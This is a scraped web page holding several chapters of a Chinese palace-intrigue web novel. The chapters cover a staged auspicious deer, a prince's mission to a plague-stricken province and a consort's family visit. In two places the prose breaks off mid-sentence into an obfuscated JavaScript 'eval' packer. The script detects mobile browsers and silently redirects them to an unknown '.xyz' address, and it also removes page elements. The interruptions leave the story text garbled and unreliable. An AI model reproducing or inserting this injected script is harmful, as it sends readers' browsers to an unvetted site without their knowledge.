就在众人等得有些不耐烦时,齐思安忽然指向东边的山坡,惊喜地喊道:“父皇请看!” 远处山谷的薄雾中,果真出现了一头通体雪白、头顶鹿角散发五彩光晕的“神鹿”。 那鹿的鹿角莹白如玉,皮毛在晨曦的映照下,竟真的泛着红、黄、青、白、黑五色流光,姿态优雅从容,宛如天界神物落入凡尘。 一瞬间,林中百鸟齐飞。 “祥瑞!当真是祥瑞啊!”皇帝“霍”地一下从座位上站起,脸上是毫不掩饰的激动与喜悦。 高玥内心嗤笑,不过是利用山中雾气折射光线的把戏罢了,再掺些会发光的矿物粉末,哄骗这些古人绰绰有余。 百官见状,纷纷跪拜,高呼“天佑大胤,陛下仁德。” 高玥向后瞥了一眼,观景台外不远处,就是衣衫褴褛、面黄肌瘦的灾民。 这些平日里锦衣玉食的贵族,对着虚假的祥瑞顶礼膜拜,却对真正的民间疾苦视而不见。 高玥不禁握紧了拳头。 就在这一片和谐的氛围中,那头“神鹿”被驯养人引着,缓缓走向观景台前,准备接受皇帝的赐福。 可就在它距离高台不足十丈远时,异变陡生! 那头“神鹿”毫无征兆地发出一声凄厉悲鸣,突然挣脱驯养人,竟直直向太子齐思安奔去,最后四蹄一软,跪倒在太子面前! 更令人惊骇的是,它雪白的皮毛下好似渗出点点血迹,原本散发柔光的鹿角,此刻却光芒乱烁,最后竟彻底熄灭。 全场一片死寂。 这哪里是祥瑞!这分明是大凶之兆! 献给皇帝的祥瑞,如今竟然死在了太子的面前! 这意味着什么,不言而喻,台下百官议论纷纷,可谁也不敢把他们心之所想真正说出来。 皇帝脸上的笑容瞬间凝固。 就在皇后正要动怒的时候,高玥抓住时机立刻上前一步,厉声呵斥那驯养人:“大胆奴才,献上此等不祥之物,你意欲何为!” 那驯鹿人早已吓得三魂去了七魄,只是不住地磕头,一句话也说不出来。 齐思安的脸色比那死鹿还要难看,他“噗通”跪倒在地,声音发颤:“父皇明鉴!这定是有人暗中作祟,意图陷害儿臣啊!” 高玥的余光却敏锐地捕捉到皇帝脸上闪过的一丝变化 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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仿佛是感应到了她的视线,齐思铭的目光微不可查地动了一下,最终在与她视线交汇的瞬间,极快地扫了她一眼。 那一眼深邃而沉静,没有半分赴死的决绝,反而带着一种掌控全局的镇定与安抚。 那眼神仿佛在无声地告诉她:别慌,我自有计划。 她这才意识到,这个男人,正借着她布下的局,下了一步她完全没有预料到的棋。 …… 行宫一处僻静的花阁中。 那个名叫清虚真人的道士扑通一声跪在皇后面前,涕泪横流:“娘娘饶命,娘娘饶命啊!贫道也不知那畜生为何会突然发狂……” “闭嘴!”皇后精致的凤钗剧烈抖动。 “今日算你祖上积德。”皇后缓缓踱步,绣着金凤的鞋尖停在清虚真人的眼前,“还好是齐思铭自己跳出来要去淮北,本宫的安儿才躲过一劫。” 她猛地蹲下身,一把揪住清虚真人的衣领,一字一顿地在他耳边道:“若是太子当真去了,本宫就让你全家老小全都凌迟处死,让你在旁边看着,听着他们是怎么哭天抢地。” 皇后抬了抬手。 “来人。” “拖下去剁碎,去喂后山那几头狼。”皇后淡淡吩咐,仿佛在说一件再寻常不过的小事,“它们许久没开荤了,想来也饿了。” 清虚真人惊恐地瞪大了眼睛,想要求饶,却一个字也说不出来。 两个内侍一左一右架起他一时间,所有的哭喊求饶都化作了绝望的呜咽,他像一条死狗般被拖了出去。 皇后拿出一方洁白的丝帕,仔仔细细地擦拭着刚才抓过他衣领的手指,花阁中恢复了死寂。 一个男子的声音从屏风后响起:“娘娘息怒,此事还尚有转机。” 他缓缓走了出来,对皇后躬身一揖。 “河北的风停了,淮北的风,才刚刚要起。” 皇后冷哼了一声,拿起案几上的一把金剪,“咔嚓”一声剪断了一支含苞待放的玫瑰花蕾。 “那就让他,有去无回。” 22. 一石二鸟苦肉计 书房中,烛火将齐思铭的身影拉长,投在背后的淮北舆图上。 他的手指在“清河郡”三个字上反复摩挲,那里是此次瘟疫的爆发中心,如今已是人间炼狱。 “砰”的一声巨响,书房的门被人从外面一脚踹开,浓烈刺鼻的酒气瞬间涌了进来。 “你疯了吗?!”苏青踉跄着走了闯了进来,那张向来冷静的眼睛,死死地盯着面前的齐思铭。 齐思铭没有回头,目光依旧停在舆图上,丝毫不理会背后的苏青。 苏青几步冲到他面前,指着那份淮北舆图,手指因用力而微微发抖:“淮北是什么地方?是瘟疫!是会死人的!皇后和太子就等着你主动请缨,好让你有去无回,你还自己往这阎王殿里跳?” “不然呢?”齐思铭平静地看着苏青,眼中晦暗不明。 “不然?”苏青通红的眼中满是血丝,“你筹谋了这么多年?就是为了去瘟疫堆里面赌一条命?” “虚名!都是虚名!”他口不择言,“命都要没了,要这虚名有什么用!” “我不是为了虚名。”齐思铭盯着苏青,一字一顿地说道,“你还记不记得,你那晚提到的那个地下钱庄?” 苏青一愣,随即反应过来。 “你的意思是……” “我派去的人回报,那个钱庄的根基,就在清河郡。”齐思铭的手指重重点在清河郡的位置,“他们借漕运之便,将无数贪墨的银两洗得干干净净,再源源不断地输送回京城。这次所谓的‘瘟疫’,爆发得如此蹊跷,时间、地点,都恰好在他们活动的范围内。 “我不相信这是巧合。” 他转过身,直视着苏青,“这一趟,看似是死路,实际上绝处逢生也未必不可。” “可万一呢?那不是刀剑,是瘟疫!!再周密的计划,也防不住天灾!你若是有个三长两短,别说是我了,她呢?” 齐思铭愣了一下,目光看向书案上的那只千纸鹤。 那只千纸鹤早已不复最初的挺括,白色的纸张边缘被反复摩挲得起了细细的毛边,仿佛它的主人,在无数个无人知晓的深夜里,都曾将它握于掌心。 那瞬间的柔软,几乎要从他眼中泄出,却又被他迅速地敛了回去,化为更深沉的决绝。 “我这条命,本就是从阎王殿里捡回来的,再还回去一次,又何妨?” 借着查访瘟疫之名,行斩草除根之事。 这盘棋,远比他想象的要大,也远比他想象的要险恶。 “太危险了!”苏青脱口而出,“那里是他们的老巢,您这样去,等于一头扎进狼窝!我陪您一起去,多个人多份照应!” “不。”齐思铭断然拒绝,“你还有更重要的事情要去做。” 苏青还想再劝,齐思铭的眼神却彻底冷了下来。 “殿下!”苏青寸步不让,“这件事没得商量,我必须跟着您!” 齐思铭看着他,许久才吐出两个字:“来人呐!把他绑了。” 门外侍卫应声而入,苏青还没反应过来,双臂已被反剪到身后,粗糙的麻绳迅速捆住了他的手腕。 “齐思铭!你这是干什么!”苏青奋力挣扎,绳索却越收越紧。 “得罪了。”齐思铭小声说道。 还未等苏青反应过来,齐思铭便狠狠地踹了一脚:“我再问你一遍,事关国难,你是去还是不去?” 苏青瞬间明白了他的意思,破口大骂:“去你娘的国难!你自己不要命,还想拉着我一起下地狱?淮北那地方,是个人都知道十去九不回!老子还没活够,要去你自己去!我告诉你,我苏青是绝对不会去的!” “好,很好。”齐思铭挥了挥手,声音充满了讥讽,“,那你就别怪我了。拖下去,杖打八十大板。” “齐思铭!你这个忘恩负义的小人!我当初真是瞎了眼才会跟着你!你……你不得好死!” 辱骂声随着苏青被拖拽的身影越来越远,最后消失在庭院深处。 紧接着,便是沉闷的杖击声和痛苦的惨叫声。 半夜,阴冷潮湿的柴房里,苏青趴在冰冷的稻草上,身体早已被打得皮开肉绽,血肉模糊,连发出声音的力气都没有了。 柴房的门“吱呀”一声被推开,一个模糊的人影走了进来,手中还拿着跟棍子。 苏青艰难地掀开眼皮,但还未看清来人,后颈就是一痛,紧接着便彻底陷入黑暗。 不知过了多久,他再次睁眼,发现自己竟躺在一张柔软舒适的床上。 房间里燃着上好的安神香,陈设考究,绝非他能消受得起的地方。 他挣扎着想坐起来,但浑身的伤口疼的让他倒吸一口冷气。 “苏青兄弟,你醒了?”一个中年男子的声音传来。 苏青循声望去,只见一个身着锦袍的中年男人端着药碗走了进来。 正是王承德。 “你怎么会在这里?”苏青的声音沙哑。 “唉,说来话长。”王承德将药碗放在床头,叹了口气,“听闻苏青兄弟在王爷府上受了重罚,我于心不忍,便使了些手段将你救了出来。你说你这又是何苦呢?” 一提起齐思铭,苏青像是被点燃了引线的火药,新仇旧恨一并涌上心头。 他猛地一拳砸在床板上,牵动伤口疼得他龇牙咧嘴,嘴上却骂得更凶了。 “我当初真是瞎了眼,跟了那么个狼心狗肺的东西!想当初我跟着王员外,那也是吃香的喝辣的,日子过得何等逍遥自在! 偏偏信了他的鬼话,以为能博个大好前程!结果呢?他倒好,自己要去淮北那个鬼地方送死,还想拉着我一起陪葬!那可是瘟疫!有去无回的,老子才不去!” 他越说越气,胸口剧烈起伏,仿佛在齐思铭那边受了天大的委屈。 王承德眼中闪过一丝得意,他拍了拍苏青的肩膀,语重心长地说道:“良禽择木而栖,贤臣择主而事。我早就看出苏青兄弟是个有大志向的人,听闻那位王爷平日里就是个活阎王,你在他那里自然是讨不到什么好处的。他不懂得惜才,自然有懂得惜才的人。” 他话锋一转,宽慰苏青道:“既然如今你与他已然决裂,不如,跟着我干如何?我保证,你的前途只会比跟着他更加光明。” 苏青冷笑一声,斜眼看着他:“我如今回去也是死路一条,凭什么信你?跟着你干,你能给我什么好处?” 王承德仿佛就 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齐思铭默默走到高玥身边坐下,两个人离得很近,近到高玥能感受到他身上传来的温度,她不自觉地将怀里的锦盒抱得更紧了些。 夜风吹过,带来一丝凉意,两人之间的沉默却比这夜风更加沉重。 半晌,齐思铭低沉的嗓音,带着一丝不易察觉的沙哑,在夜色中响起:“对不起。” 这三个字轻飘飘的,却像一块巨石砸在高玥心上,她愣了一下,甚至以为自己听错了。 “你说什么?” 他没有看她,目光投向天边那轮残月,“如果没有我,此刻的你应该会过得更开心吧,而不是像现在这样,过着刀口舔血的日子。” 高玥闻言,心头像是被什么东西狠狠揪了一下,但她脸上却缓缓绽开一个笑容,带着几分自嘲。 她用一种故作轻松的语气打趣道,语气中却充满了一丝淡淡的哀伤:“那怎么办?我已经被王爷您亲手拉上这条贼船了,现在想赶我下去,也晚啦。” 她想了想,还是将怀里的锦盒递了过去。 “给你的。” 齐思铭接过锦盒。 他打开盒盖,一支通体温润的红玉笛静静地躺在其中,笛身雕刻着细密的祥云暗纹,尾端坠着一枚小小的,用红绳编织的平安结,在月光下泛着柔和的光泽。 “之前在京城时,就找人做了。”高玥低下头,看着自己的脚尖,声音很轻,“想着你有时心烦,吹吹笛子总能静心。本来……本来想找个好日子给你的,没想到……” 没想到,竟成了送别的礼物。 她抬起头看着他,用尽了所有力气才说出那句话:“你一定要回来。” 齐思铭的心脏仿佛被什么东西攥住了,他握紧了手中的玉笛,笛身温润的触感从指尖传来,一直暖到心底。 他看着她,眼底的阴霾和算计在这一刻尽数褪去,只剩下毫不掩饰的认真。 “我答应你。”他的声音低沉而郑重。 “等我回来,我教你吹《凤求凰》。” 23. 杀官立威信 姐妹入君怀 淮北,清河郡。 “王爷,前面就是清河郡了。”王友驾着马车,空气中弥漫着的酸臭味让他不禁皱了皱眉头。 马车内,齐思铭端坐着,车帘的一脚被他掀开一道缝隙,放眼望去,满目疮痍。 破败的屋檐下,蜷缩着一个个面黄肌瘦的灾民。 他们的眼中,满是空洞,与其说是活着,不如说是正在等待死亡。 “王爷,这里的情况可比奏报上说的要严重百倍。” 齐思铭没有回答,目光扫过那些被木板钉死的门窗,上面用潦草地画着巨大的红叉。 这便是地方官吏所谓的“隔离”,将人与病痛一同封死在方寸之地,任其自生自灭。 “停车。”齐思铭的语气愈发阴沉。 他迅速从马车上下来,,脸上围上厚厚的棉布,便径直走向不远处一个官府设立的施药点。 药棚前排着稀稀拉拉的队伍,几个衙役有气无力地给灾民分发着黑乎乎的药汤,盛药的木桶里还飘着零稀的几根枯黄的药渣。 一个头发花白的老妇人颤巍巍地跪倒在地,苦苦哀求道:“官爷,求求您了,再多给一碗吧,我孙儿快不行了……” 衙役不耐烦地用汤勺拨开她手中的破碗,呵斥道:“滚滚滚!每人只有一碗,哪来那么多废话!你家那孙子,喝了也是等死,浪费药材!” 齐思铭的脚步停住了。 他眼神平静地看着这一幕,薄唇却抿成了一道直线。 他缓步上前,拾起地上的一片药渣,捻在指尖细细查看。 “这是何药?”他开口,声音温和。 那衙役上下打量了齐思铭等人一眼,只见面前的人衣着光鲜,与周围的破败污秽格格不入,一看就不是本地人,更不可能是逃难的灾民。 但他只当是哪里来的公子哥,不知死活地跑到这疫区来看热闹。 “喂,我说你们几个,这里可不是什么游山玩水的好地方。”那个衙役把手里的汤勺往木桶里一扔,语气轻蔑,“瞧见了没,这里闹瘟疫呢,一不小心感染上了,神仙都难救你!” “大胆!你可知……”王友刚想要反驳,却被齐思铭制止住。 “哦?”齐思铭将那药渣递到鼻尖轻嗅,却没有直接回答那个衙役,“寻常的败酱草,配上些桔梗。” “败酱草清热解毒,活血化瘀,对付寻常的痈疮肿痛倒是不错。” “桔梗宣肺利咽,祛痰止咳,若是风热感冒,喝上一碗也能缓解一二。” 他顿了顿,目光缓缓扫过面前的衙役,语气骤然变冷,“只是本王不解,这二者,何时有了能医治瘟疫的奇效?” 那衙役听他说的头头是道,先是一愣,随即像是听到了什么天大的笑话一般,哈哈大笑,“我当是谁呢,口气这么大,原来就是个不知从哪冒出来的抽郎中!” “怎么?读了两本破医书,就敢跟衙门指手画脚了?小子,我劝你识相点,别在这多管闲事,不然爷爷我把你当成染了瘟疫的一并关进去,让你尝尝这药汤的滋味!” “你!”王友怒火中烧,拔起佩刀就想上前。 齐思铭的面色却依旧平静,他甚至还露出了一丝极淡的笑意,那笑容看的衙役心里莫名的发毛。 “你笑什么,信不信老子……” 衙役的话还没说完,王友已然忍无可忍。 他一个箭步上前,根本没见他如何动作,那衙役便被一股巨力推得踉跄后退,一屁股跌坐在地。 不等衙役反应过来,一块通体乌黑的铁牌递到了他面前。 正中央一个龙飞凤舞的篆体大字,让他浑身的血液瞬间凝固。 齐。 “睁大你的狗眼看清楚,这位,便是奉皇命前来淮北赈灾的钦差,督主,齐王爷!” 齐思铭随手扔掉药渣,淡淡道:“将此地县丞,给本王叫来。” 不过一炷香的功夫,一个身形肥胖的中年男人便被带了过来。 清河郡县丞刘康一见这阵仗,腿肚子就有些发软,却还强装镇定地行礼:“下官刘康,参……参见王爷。” 齐思铭看向刘康,那身绯色官袍被他圆滚的肚子撑得紧绷,一张脸更是油光水滑,与此地漫天的尘土和绝望格格不入。 “刘县丞,”齐思铭眸色暗了下来,声音却依旧温和,“朝廷拨下的救灾药材,在何处?” 刘康额头渗出冷汗,连忙答道:“回王爷,药材……药材都已熬制成汤药,分发给百姓了。” “是吗?”齐思铭不置可否,他侧过头,对王友说道,“去县丞府上的库房看看。” 刘康的脸色瞬间血色尽失,他扑通一声跪倒在地,大呼冤枉:“王爷明察!下官对朝廷忠心耿耿,绝无半点私藏啊!” 齐思铭看着他,不再言语。 王友的动作很快,没过多久,他带着几名亲卫,抬着数只沉重的木箱回来了。 刘康一看到箱子,本就惨白的脸色更是瞬间化为死灰。 王友“咔嚓”一声撬开其中一只箱子的锁扣,猛地掀开箱盖。 在场的众人皆是死寂。 箱子里面,码放的整整齐齐的,竟然全都是上好的黄芪、当归,甚至还有几支品相极佳的老山参! 不等刘康发出任何声音,王友又将余下的几只箱子撬开,无一例外都是朝廷拨下的珍贵药材。 “你现在还有什么话可说!”齐思铭一把掐住刘康的脖子,厉声呵道。 剧烈的窒息感让刘康几欲昏厥,求生的本能让他死死地抓住齐思铭的手腕,“王……王爷饶命……下官……下官家里……上有八十老母……下有……嗷嗷待哺的孩儿……他们……他们也需要这些药材……救命啊……” 齐思铭像是甩开什么脏东西一般,猛地松开了手。 刘康瘫软在地,捂着脖子剧烈地咳嗽,劫后余生的幸福还没来得及爬上他的脸,就听到那个如阎王般的声音再次响起。 “既然县丞这么爱惜这些药材,想必是不能浪费了。把他丢到疫区里面,将这些药材好生炖好,每日送给县丞,不得有误。” 刘康的咳嗽声戛然而止,他难以置信地抬起头,“不……不!王爷!王爷饶命啊!我错了!我真的错了!” 刘康终于反应过来,手脚并用地爬向齐思铭,却被王友一脚踹开。 “王爷,在他的私库中,除了发现这些药材,还有与这几位药商的交易账本。” 王友的声音低了又低,“这可能与我们要找的线索有关。” 齐思铭接过账本,一页一页地翻过,脸上的神情晦暗不明。 “王友。” “属下在!” “顺着这上面的名字,”他将账本丢回王友怀中,“一个一个给本王查清楚,本王要知道,是谁,有这么大胆子,敢将手伸向这淮北几十万的救命钱!” 他顿了顿,幽深的眸子扫过周围面黄肌瘦的灾民,他们的眼中,除了是对这些贪官被惩治的快意,但更多的是对未来的茫然。 “另外,传我命令,即刻执行新法!”齐思铭一字一顿,“城中划分区域,病患与家属不得擅自出入。所有街道、屋舍,每日以石灰洒扫。病亡者尸身与所用之物,集中焚烧,不得延误。” 此令一出,衙役们顿时面露难色,窃窃私语。 一个年长的衙役头目,仗着自己有些资历,硬着头皮上前躬身道:“王爷,此举……怕是有些不妥。我大胤朝历来讲究入土为安,焚烧尸身,不光是对死者的大不敬,更是与我朝律法、祖宗规矩相悖啊!若是如此行事,恐……恐怕会引起民怨……” 他的声音越来越小,小到最后恐怕只有他自己才能听得到了。 “哦?律法?”齐思铭缓缓开口,“那本王问你,是这城中的人命重要,还是你口中那狗屁不通的律法更重要!” 他上前一步,周身散发出的压迫感让那衙役头目双腿一软,几乎站立不稳。 “在这里,”齐思铭的声音冰冷中带着不容置喙的威严,“我,就是律法。” 那衙役头目被齐思铭的气势吓得屁滚尿流,而有了他这个前车之鉴,其余的衙役哪里还敢有半分异议? 一时间,整个清河郡以前所未有的效率运转起来。洒石灰的、清扫街道的、搬运尸身的……众人各司其职,虽仍有百姓哭嚎不解,但在明晃晃的刀口下,再大的怨气也只能暂时压下。 原本混乱不堪、死气沉沉的疫区,竟奇迹般地开始有了秩序。 王友大步流星地走进营帐,脸上是掩盖不住的敬佩,“王爷,您真是神了!那些灾民一开始还吵吵嚷嚷,现在看到动真格的,反倒都服服帖帖了!” 齐思铭正坐在案前,手中端着一杯早已凉透的茶,没有作声。 王友还在不住地夸赞:“属下真是佩服得五体投地!王爷这一招快刀斩乱麻,既立了威,又稳了民心,当真是英明神武!” 英明神武? 他的脑海中,不由自主地浮现出临行前夜,院子中高玥对他说的那些话。 彼时,他将淮北的疫情简略说与她听,其中也有几分试探的意味,如若她真的与自己有二心,他也可以尽早留有后手。 没想到,她只是略一思索,便给出了一个让他意想不到的答案。 “王爷此去,立威是第一要务。”月光下,她的眸子亮的惊人,“灾民此刻需要的不是怜悯,而是一个能带他们活下去的铁腕强者。” “而您要做的,就是把所有病人集中隔离,阻断病源。所有病亡之人,连同其用物,必须全部焚烧,绝不能留后患。” “我知道,这么做一定会有官员出来说,焚烧尸体是对死者的大不敬,但是……” 她顿了顿,“这些说法,在活人的性命面前,一文不值。” 他当时听完,第一个念头便是这女人疯了。 焚烧尸身,与祖宗礼法为敌,这无异于自掘坟墓,稍有不慎,便会遭到反扑。 他警惕地看了一眼面前的女人,不知道她葫芦里卖的是什么药。 似乎是看穿了他的疑虑,她上前一步,声音压得极低,却字字清晰:“王爷,我知道您不信。但请您想一想,若按常规之法,疫情蔓延,十室九空,届时就算您有通天之能,对着一座死城,又有什么用? 可若是您用雷霆手段控制住了疫情,救下了这几十万百姓,谁还会记得那些所谓的规矩?他们只会记得,是您,给了他们第二次生命。 届时,民心所向,便是您最大的资本。” 而就在刚刚,齐思铭其实也只是抱着半信半疑的想法。 毕竟这番言论太过惊世骇俗,稍有不慎,便会引火烧身。 可现如今看着帐外这番井然有序的景象,听着王友的汇报,他不得不承认,她说的是对的。 这个女人,她似乎总能看透事情的本质,精准地抓住最关键的症结。 她身上究竟还藏着多少他不知道的秘密? …… 与淮北的人间地狱不同,河北行宫内是一派歌舞升平的景象。 皇帝看着满桌的珍馐佳肴,脸上却带着几分意兴阑珊。 在河北巡视的日子,每日看到的都是流离失所的灾民,让他心情烦闷,加之灾情之下,一切娱乐活动都已停止,日子过得实在无趣。 像是看出了皇帝心中所想,心腹太监王德春凑上前,低声说道:“陛下,杂家贵妃娘娘的老家山城,离此地不远。娘娘入宫许久,想必也思念父母。不如圣驾移步山城,一来可让娘娘与家人团聚,尽显陛下恩宠。二来嘛……” 王德春挤眉弄眼地补充道:“奴才听说,自古山城出美人……” 皇帝将手中的杯子重重往桌上一拍,发出一声脆响。 “放肆!”他的声音带着一丝不加掩饰的怒意,““如今淮北疫情未消,河北又是流民遍地,到处都是天灾人祸,你竟还有心情想这些风月之事?” 圣意之下,王德春“噗通”一声跪倒在地,“陛下息怒,奴才该死!奴才罪该万死!” 皇帝冷哼一声,却并未让他起来。 王德春连忙换了一种说法,“陛下,奴才不是那个意思……奴才只是只是心疼陛下啊!陛下乃万金之躯,关乎我大胤朝的江山社稷。 可连日来,您亲临灾区,目睹的皆是流离失所之惨状,听到的尽是哀鸿遍野之声,忧心忡忡,龙体日渐清减,奴才看着实在是不忍。” “忧思过甚,最是伤身,奴才这才斗胆,想着山城景致秀丽,正所谓换一个地方,也可以换一种心情。您若是能稍稍宽怀片刻,也算是为了我大胤朝的万千子民保重龙体啊!” 高玥心中冷哼了一声。 好一个为主分忧的忠奴,好一个心系天下的明君。 不过是厌烦了这灾区的沉闷,想换个地方寻欢作乐罢了,却偏要说得如此冠冕堂皇。 果然, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16315871|182991||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王德春这番话正中皇帝下怀,他脸色也缓和了不少。 他转过头,看向高玥,语气中还带着一丝关切,“朕的身体倒是次要的。” “只是爱妃你,之前受了惊吓,近日又随朕奔波,瞧着都清瘦了,想必也是受这灾情影响,心中忧虑才郁郁寡欢。” 皇帝伸出手,轻轻拍了拍高玥的手背,“王德春说的也有几分道理,山城是你家乡,你也很久没有回去看看了。不如我们便顺势去山城小住几日,你也正好散散心。” 演,接着演。 什么龙体清减,为国分忧,说白了不就是给自己寻花问柳找了个金光闪闪的牌坊吗? 现在倒好,又把这顶“体恤爱妃”的高帽子扣到我头上了。 心中虽然白眼与弹幕齐飞,但高玥面上却不动声色地应承下来。 去吧去吧,她其实对皇帝要去山城做什么不感兴趣,但对那座城里,属于玥贵妃的“家”,倒是生出了几分探究的意味。 “父母”…… 这个词对她而言,更多的更像是一种符号,一种社会关系的代码,却从未有过真实的情感和温度与之对应。 如今,能有机会亲眼见一见这具身体的“父母”,倒也不失为一桩趣事。 她很好奇,那所谓的血脉亲情,所谓的舐犊情深,究竟是怎样一番光景。 “臣妾……谢陛下体恤。” …… 龙辇缓缓停在山城高府的门前。 说是府邸,但实则早已是一片喜庆的氛围,门口两尊石狮子都被系上了大红绸花,从门口一路望进去,张灯结彩,庭院也被洒扫得纤尘不染。 高玥在翠儿的搀扶下走了出来,眼前的一幕让她微微一怔。 以一个看起来约莫四五十岁的中年男人为首,乌压压跪了一地的人。 “臣,高士廉,恭迎圣驾!吾皇万岁万岁万万岁!贵妃娘娘千岁千岁千千岁!” 皇帝扶起高士廉,声音温和,“高爱卿平身吧” 众人谢恩起身,高士廉身侧一位保养得宜的妇人则快步上前,一把拉住了高玥的手。 她的眉眼间与高玥有几分相似,此刻正上下打量着自己的女儿,声音带着一丝哽咽:“玥儿……哦不,贵妃娘娘,快让臣妾好好看看。” 一连串的关怀备至,让高玥有些无所适从。 这就是……所谓的母爱吗? 她能感觉到对方传递过来的温度,却不知为何无法在心底激起半点涟漪,只能按照一个女儿应有的样子,露出一个温婉的笑容,轻声安抚道:“娘,女儿一切都好,劳您挂心了。陛下对女儿恩宠有加,宫里的人也都照顾得很好。” 她的大脑飞速运转,试图在系统的数据库里寻找与之匹配的情感模块,结果却是一片空白。 其实,在那个名为【爱在西元前】的游戏里,她对自己名义上的父母记忆就少得可怜。 它们更像是一段被写定的背景资料,是她作为“高玥”这个角色的人物小传里冰冷的一行字,而她也从未觉得有何不妥,父母的存在,或许本就是可有可无的点缀。 晚宴之上,丝竹声声,舞乐助兴。 高士廉使了个眼色,乐声陡然一变,变得轻快而灵动。 一个身着水袖罗裙的少女,如一只翩跹的蝴蝶,从屏风后转出。 那少女不过十五六岁的年纪,身段窈窕,面容姣好,一双眼睛水灵灵的,带着少女独有的纯真与娇憨。 她舞姿轻盈,水袖翻飞间,每一个旋转,每一个回眸,都带着别样的风情。 那是一种未经雕琢的美,纯粹而动人。 皇帝的目光,瞬间就被那舞动的身影牢牢吸引住了,手中的酒杯都忘了放下。 高士廉看准时机,起身笑道:“陛下,此乃臣的小女,高盼。拙劣舞技,恐污了圣眼。” 高盼,高攀。 这心思,简直昭然若揭。 皇帝的目光从高盼身上移开,看向高士廉,语气中满是赞许:“高爱卿,你可真是生了两个好女儿啊。” 一句话,便定下了高盼的未来。 高士廉喜不自胜,连连称谢。 只有高玥,端着酒杯,唇边噙着一抹意味不明的笑意,静静地看着这一切。 夜深人静,喧嚣散去。 高玥推开窗,晚风带着一丝凉意。 她望着淮北的方向,夜空中没有一颗星,黑沉沉的,如同齐思铭那双深不见底的眼。 他现在在做什么呢?那边,一切都还好吗? 这个念头毫无预兆地冒出来,连她自己都觉得有些莫名其妙。 明明只是合作关系,她为何会如此挂念。 心念一动,她唤来翠儿:“取纸笔来。” 翠儿很快便将纸笔准备好,高玥坐在桌前,提笔蘸墨,却久久无法落笔。 些什么好呢? 告诉他自己回了家,见到了那个一心想把女儿往龙床上送的父亲? 还是告诉他,皇帝又看上了她的妹妹? 这些絮絮叨叨的琐事,他一个在瘟疫区挣扎的人,哪里有时间看。 她写了又划,划了又写,宣纸被揉成一团又一团。 最终,她放弃了写信,深吸一口气,在崭新的宣纸上,画了一个简单的笑脸,圆圆的眼睛,弯弯的嘴角,旁边还画了一个握紧的拳头。 一个现代人再熟悉不过的“加油”表情包。 罢了,她又担心齐思铭看不懂,在笑脸的旁边一笔一划地写下了“加油”两个字。 他知道加油是什么意思吗? 心之所念,又在下面加了一行小字,“是盼你平安的意思。” 看着这个与周围环境格格不入的奇怪图案,她自己都忍不住笑了。 齐思铭看到这个,大概会以为是什么鬼画符吧。 犹豫片刻,她又在图案旁边,一笔一划,郑重地写下了一个“玥”字。 “翠儿,派最可靠的人,将这个送到淮北,交到王爷手上。”她将信纸仔细折好,递了过去。 就在这时,房门外响起了剧烈的敲门声,翠儿打开门,一个丫鬟连滚带爬地冲了进来,扑通一声跪倒在地。 高玥认出,这是妹妹高盼的贴身丫鬟。 “贵妃娘娘,不好了!”那丫鬟哭得上气不接下气,“小姐……小姐和老爷吵起来了!她嚷嚷着要剪头发,说……说如果要她进宫,她就去出家!” 24. 淮北收心山城网 高玥跟着那小丫鬟,脚步匆匆,几乎是小跑着穿过回廊,还未踏入房门,便听到里面传出高母焦急的哭喊声,夹杂着少女的断断续续地抽泣。 “盼儿,你这是要逼死为娘啊!你把剪刀放下,快放下!” 高玥一把推开房门,眼前的景象让她倒抽了一口凉气。 房内一片狼藉,梳妆台上的瓶瓶罐罐倒了一地,而她那个妹妹高盼,手中正紧握着一把剪刀。 她一手抓着一缕长发,另一只手颤抖着,看样子是真要剪下去。 “都别过来!再过来我就去出家!” “我的儿,你不能做傻事啊!”高母瘫在一旁,想要伸手去夺剪刀,却又怕伤了女儿,只能徒劳地哭喊着。 见到高玥进来,高母像是抓住了救命稻草,一把抓住高玥的衣袖,提泪横流地哀求道,“贵妃娘娘,您就劝劝盼儿吧!她要是有个三长两短,我也不活了!” 高玥看着眼前的这出闹剧,心中不禁想笑。 家里出了一个贵妃不够,还竟想着再往那吃人的地方再送进去一个? 如今闹成这样,又是演给谁看? 但她也清楚,现在不是追究责任的时候,高盼情绪激动,手里又拿着利器,万一真伤了自己,事情就麻烦了。 思及此,她收起心中的那点讥讽,脸色沉了下去,“都出去。” 高母还想留下,抓着高玥的袖子不肯松手,“娘娘……我……” 高玥冷冷地甩开高母,高母心头一紧,后面的话生生卡在了喉咙里。 她从未见过女儿这般模样,并非是贵妃的威严,而是一种从骨子里透出来的,让人胆寒的冷漠。 屋内只剩下姐妹二人。 高盼泪眼婆娑,神情决绝:“姐姐,你别管我。父亲他……他要我去给皇上……他疯了!” “所以你就想出了这种蠢办法?”不知怎的,她说出这句话的时候,脑海中突然浮现出了齐思铭的那张脸。 “你若真的去当尼姑,你以为父亲会为你流一滴泪吗?他只会觉得你这个不孝女,毁了他的青云路。皇上更是会认为你是个不识抬举的女人。这世上,只有母亲会为你肝肠寸断。你这出家,是想让亲者痛,仇者快?” 高盼握着剪刀的手抖得厉害:“可我还能怎么办?我若不去,他会打死我。” “可我若去了……”高盼哭的更厉害了,“那个男人,年龄都可以当我爹了!” “哭有什么用?” “你以为你的眼泪能淹死他,还是让他凭空消失?” 高盼被高玥冷冷的语气刺激的哆嗦了一下,“姐姐……你怎么可以这么说!你现在是贵妃娘娘,你当然不怕,可我呢?我算什么?我若不从,爹爹真的会打死我的!” 